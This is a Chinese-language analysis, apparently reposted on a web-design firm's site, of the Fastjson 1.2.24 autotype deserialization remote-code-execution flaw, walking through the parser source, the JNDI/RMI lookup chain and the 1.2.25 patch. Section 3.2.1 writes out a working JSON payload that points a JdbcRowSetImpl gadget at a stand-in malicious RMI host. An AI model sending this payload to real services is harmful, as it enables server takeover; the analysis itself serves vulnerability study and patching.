怎样实现Fastjson1.2.24远程代码执行漏洞分析

这期内容当中小编将会给大家带来有关怎样实现Fastjson 1.2.24远程代码执行漏洞分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

站在用户的角度思考问题,与客户深入沟通,找到磁县网站设计与磁县网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:成都做网站、成都网站制作、成都外贸网站建设、企业官网、英文网站、手机端网站、网站推广、空间域名、雅安服务器托管、企业邮箱。业务覆盖磁县地区。

1.漏洞信息

1.1 漏洞简介

漏洞名称:Fastjson 1.2.24 Remote Code Execution (com.sun.rowset.JdbcRowSetImpl)

漏洞编号:无

漏洞类型:Remote Code Execution

CVSS评分:无

漏洞危害等级:高危

1.2 组件概述

Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。下图是Fastjson组件中的反序列化流程。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

1.3 漏洞概述

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

1.4 漏洞利用条件

1.5 漏洞影响

影响版本: Fastjson < 1.2.25

1.6 漏洞修复

获取Fastjson最新版本,下载链接:https://github.com/alibaba/fastjson

2.漏洞复现

2.1 环境拓扑

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

2.2 应用协议

8080/HTTP

2.3 复现过程

基于Windows平台,使用环境目录下的fastjsondemo环境,拷贝后使用Idea打开fastjsondemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

3.漏洞分析

3.1 技术背景

JavaBean:

JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:

提供一个默认的无参构造函数。

需要被序列化并且实现了 Serializable 接口。

可能有一系列可读写属性。

可能有一系列的 getter 或 setter 方法。

方法描述
getPropertyName()举例来说,如果属性的名称为 myName,那么这个方法的名字就要写成 getMyName() 来读取这个属性。这个方法也称为访问器。
setPropertyName()举例来说,如果属性的名称为 myName,那么这个方法的名字就要写成 setMyName()来写入这个属性。这个方法也称为写入器。

程序实例

public class StudentsBean implements java.io.Serializable
{
private String firstName = null;
private String lastName = null;
private int age = 0;

public StudentsBean() {
}
public String getFirstName(){
return firstName;
}
public String getLastName(){
return lastName;
}
public int getAge(){
return age;
}

public void setFirstName(String firstName){
this.firstName = firstName;
}
public void setLastName(String lastName){
this.lastName = lastName;
}
public void setAge(int age) {
this.age = age;
}
}

3.2 详细分析

3.2.1 漏洞利用过程

首先在本地开启恶意的rmi服务(rmi://evilserver:1099),并绑定恶意类(evilobj),恶意类中存放着可以执行任意命令的java程序。找到fastjson组件入口(一般是传json字符串的地方),传入{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true},即可完成漏洞利用。

3.2.2 代码分析

Fastjson通过parseObject方法解析传入的json数据。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用DefaultJSONParser缺省方法对json格式数据进行解析。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在方法的参数中,调用ParserConfig.getGlobalInstance()方法获取ParserConfig类中的初始配置,其中黑名单(denyList)也在此类中进行配置。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用addDeny方法循环添加denyList数组中的黑名单。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser方法,初始化结束后,调用JSONScanner方法对传入的json字符串设置读取位置,判断过程中处理Unicode字符集的BOM标识。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser方法,为token赋值。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到JSON入口类,获取到DefaultJSONParser类型对象,调用parse()方法进行解析。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在parse方法中,通过判断lexer.token(),进入对应的代码块。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用JSONObject构造方法,初始化JSONObject类中的map属性。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser#parse方法,调用parseObject方法,对传入的json数据进行字节读取。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

一般会读取json字符串中的双引号进入scanSymbol方法中,在scanSymbol方法中计算字符串的hash。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用addSymbol方法,将键名添加到SymbolTable中。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser#parseObject方法中,判断key值是否为@type。如果是,则进入if判断条件下的代码块中。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用scanSymbol方法,以双引号作为quote变量值,进行@typejson字段值的value读取。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

获得@type的键值,调用addSymbol方法,将@type的字段值添加到SymbolTable中。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser#parseObject方法中,调用TypeUtils.loadClass方法进行类加载操作。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入loadClass方法中,首先会在现有的mappings中寻找从@type传入的classname。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

如果在原有的mappings中没有记录传入的classname,则调用contextClassLoader.loadClass获取AppClassLoader类加载器,并加载到mappings中与@type传入的类进行关联,最后返回clazz对象。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser#parseObject方法中,调用this.config.getDeserializer(clazz)获取反序列化器。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入getDeserializer方法中,首先现有的IdentityHashMap中进行hash匹配,如果无法匹配,则进入第二个if判断条件中重载getDeserializer方法,继续获取反序列化器。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

getDeserializer(Class clazz, Type type)方法中,首先依然会与现有的IdentityHashMap中进行hash匹配。如果无法匹配,会事先进行黑名单匹配,在调用ServiceLoader.load判断META-INF/services/下是否存在传入的classname类。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

如果没有寻找到对应的类,则判断传入的classname是否是继承java.lang.Enum、是否是array类型选择对应的反序列化器生成方法。如果上述条件不满足,则继续判断传入的classname是否为Set、HashSet、Collection、List、ArrayList,如果不是则继续判断classname是否继承Collection,Map,Throwable接口。如果上述条件都不满足,则调用createJavaBeanDeserializer方法生成JavaBean反序列化器。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入createJavaBeanDeserializer方法,判断asmEnable是否为true,调用JavaBeanInfo.build方法建立JavaBean。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

建立JavaBean过程中,通过反射机制获取传入的class中所有的属性,方法,并保存在数组中。选择一个无参构造函数作为默认的构造函数。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

循环遍历method数组中的方法,并从中选取符合条件的方法。(条件:同时满足方法名长度大于4;非静态方法;方法类型为Void。或者方法类型与方法所在类相同)怎样实现Fastjson 1.2.24远程代码执行漏洞分析

再从筛选的规则中继续筛选出形参数量为1的方法。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

再从筛选出的方法中获取以set方法开头的方法,并检测JavaBean的方法命名规范,筛选出符合规范的方法。调用TypeUtils.getField方法获取与set方法对应的属性值。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入getField方法中,遍历@type传入的class以及其父类的所有属性值,返回寻找到属性。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

最终调用add方法,将获取的Field属性保存到fieldList列表中。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

再以相同的流程筛选出存在get方法的属性值,如果筛选出的filed属性值不在fieldList,则添加到fieldList列表中。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用JavaBeanInfo方法对JavaBeanInfo中的属性进行初始化,并返回实例化对象。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到ParserConfig#createJavaBeanDeserializer方法中,获取到beanInfo对象,并从beaninfo中取出defaultConstructor默认构造器、field属性。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

通过检测fieldClass属性值,为asmEnable标志位赋值

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

根据asmEnable标志位,进行if条件判断,调用JavaBeanInfo.build方法,并返回beanInfo对象。再调用ASMDeserializerFactory#createJavaBeanDeserializer方法生成反序列化器。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入ASMDeserializerFactory#createJavaBeanDeserializer方法中,通过ASM生成class文件的字节流,调用newInstance方法进行实例化,返回实例化对象。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在实例化过程中,会将beaninfo中的属性赋值给JavaBeanDeserializer类中的filed反序列化器。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到ParserConfig#getDeserializer方法,调用putDeserializer方法,将生成的反序列化器与@type传入的class类进行关联,最后返回反序列化器怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到DefaultJSONParser#parseObject方法,调用deserializer.deserialze方法进行反序列化。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

反序列化过程中,调用JSONScanner类中与field类型对应的方法,从传入的json字符串中找到属性的value值。(例如下图中,使用scanFieldString方法处理String类型方法)怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用charArrayCompare判断传入的json字符串中,是否存在选中的field的value。如果存在,则通过闭合的双引号定位传入参数长度,并提取键值对中的value。通过判断双引号之后的符号,判断当前json解析状态(返回不同的token值)怎样实现Fastjson 1.2.24远程代码执行漏洞分析

再调用JavaBeanDeserializer#parseRest方法,通过token值进入对应的代码块,从生成的sortedFieldDeserializers反序列化器中取出field反序列化器,并从取出属性值

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

与上述反序列化流程中第一次取属性值流程相同,根据属性类型,选择对应的方法进行解析。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

调用setValue方法将json中传入的属性值,传入到class实例化对象中,为其内部属性赋值。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在赋值过程中会通过反射,调用属性值对应的set方法怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入connect方法中调用lookup方法,形参中的getDataSourceName()方法会获取之前已经从json解析并赋值的dataSource属性,获取恶意rmi服务。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入InitialContext.lookup()方法解析之后的流程,就是JNDI注入攻击流程。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

先进入getURLOrDefaultInitCtx方法进行获取上下文,根据传入的url协议,获取对应的上下文对象。怎样实现Fastjson 1.2.24远程代码执行漏洞分析怎样实现Fastjson 1.2.24远程代码执行漏洞分析

实例化RegistryContext对象,调用getRegistry方法获取远程注册中心的绑定对象。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在获取远程对象的过程中,调用TCPEndpoint()方法,为LiveRef内部ed属性赋予远程终端ip及端口信息。调用UnicastRef,获取RemoteRef类型的远程对象。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

进入createProxy方法获取并返回RegistryImpl stub。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到com.sun.jndi.rmi.registry.RegistryContext,将RegistryImpl_Stub对象赋予给registry属性。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

回到GenericURLContext#lookup方法中,调用Registry.lookup方法。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在lookup方法中调用registry.lookup()方法,由于之前已经将RegistryImpl_Stub赋值给registry,直接进入RegistryImpl_Stub.lookup()方法中。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

在RegistryImpl_Stub#lookup方法中,调用ref.newCall方法获取基于ref的RemoteCall类型的远程调用对象。并将访问远程rmi服务上的类名进行序列化,调用invoke方法传给远程服务。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

之后将从远程获取的序列化数据进行反序列化,执行恶意序列化中的恶意命令。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

3.2.3补丁分析

Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。如果autotype开关关闭,则无法从@type字段传入类进行jndi攻击。

怎样实现Fastjson 1.2.24远程代码执行漏洞分析

增加了黑名单中的类,对fastjson的gadget进行拦截。怎样实现Fastjson 1.2.24远程代码执行漏洞分析

上述就是小编为大家分享的怎样实现Fastjson 1.2.24远程代码执行漏洞分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。


网站名称:怎样实现Fastjson1.2.24远程代码执行漏洞分析
文章转载:http://ybzwz.com/article/gehesc.html